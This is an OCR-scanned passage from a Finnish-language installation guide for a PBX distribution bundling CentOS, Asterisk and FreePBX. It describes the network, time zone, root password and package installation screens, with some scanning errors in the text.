Distro sisdltdaa CentOS-kayttojarjestelman, Asterisk-puhelinvaihdeohjelmiston ja
FreePBX -graafisenkdyttoliittyman. Asennus aloitetaan lataamalla palvelimelle sisdan
asennusmedia, minka jalkeen se kdynnistyy kuvan 1 mukaiseen asennusruutuun.

Valitaan listalta oletuksena valittuna olevaa Full Install -asennusvaihtoehtoa.

Kuva 1 .Asterisk-asennuksen aloitus

Taman jalkeen asennus jatkuu verkkoasetusten syottamisella. Kuvan 2 mukaisesti IP-
osoitteet voidaan joko syottaa kasin “Manual Configuration” -vaihtoehdosta tai antaa
palvelimen ottaa ne DHCP-palvelimelta oletusasetuksella “Dynamic IP configuration

(DHCP)”.
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Welcome to PBX for x86_64

Conf igure TCP/IP

IPv4 support
Dynamic IP configuration (DHCP)
Manual configuration

IPv6 support

Automatic, DHCP only
Manual configuration

{Tab>/<Alt-Tab> between elements | <Space> selects i <F12> next screen

Kuva 2. Palvelimen IP-osoitteen maarittaminen

Taman jalkeen jarjestelmalle tulee asettaa kellonaika. Kuvassa 3 on valikosta |6ytyva

Suomen aika-asetus.
Welcome to PBX for x86_64

Time Zone Selection
In which time zone are you located?
[ 1 System clock uses UTC
Europe/Dublin
Europe/Gibraltar

Europe/Guernsey
[Europe/Helsinki

Europe/Isle of Man

<Tab>/<Alt-Tab> between elements i <Space> selects i <F12> next screen

Kuva 3. Palvelimen kellonajan asettaminen

Seuraavaksi asennuksessa syotetdan salasana jarjestelman paakayttajalle, eli root-
kayttajalle. Kuvan 4 mukaisesti salasana syotetdaan kahteen kertaan kummallekin

riville.
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Welcome to PBX for x86_64

{ Root Password |

Pick a root password. You must type it
twice to ensure you know it and do not
make a typing mistake.

Password:
Password (confirm):

{Tab>/<Alt-Tab> between elements i <Space> selects i <F12> next screen

Kuva 4. Palvelimen root-kayttdjan salasana

Seuraavaksi distro alkaa asentua koneelle. Etenemista voi seurata kuvan 5 mukaises-
ta ikkunasta. Kun asennus on suoritettu, palvelin kdynnistyy uudelleen ja se on valmis

kaytettavaksi.

Welcome to PBX for =x86_64

| Package Installation

674
Packages completed: 516 of 626

Installing freepbx-12.8.21-1.shmz65.1.17 .noarch (98 MB)
fisterisk FreePBX Web Interface

—f1 tiny simple way to do classic inheritance in js

{Tab>~-<Alt-Tab> between elements i <3pace> selects i <F12> next screen

Kuva 5. Distron asennuksen eteneminen



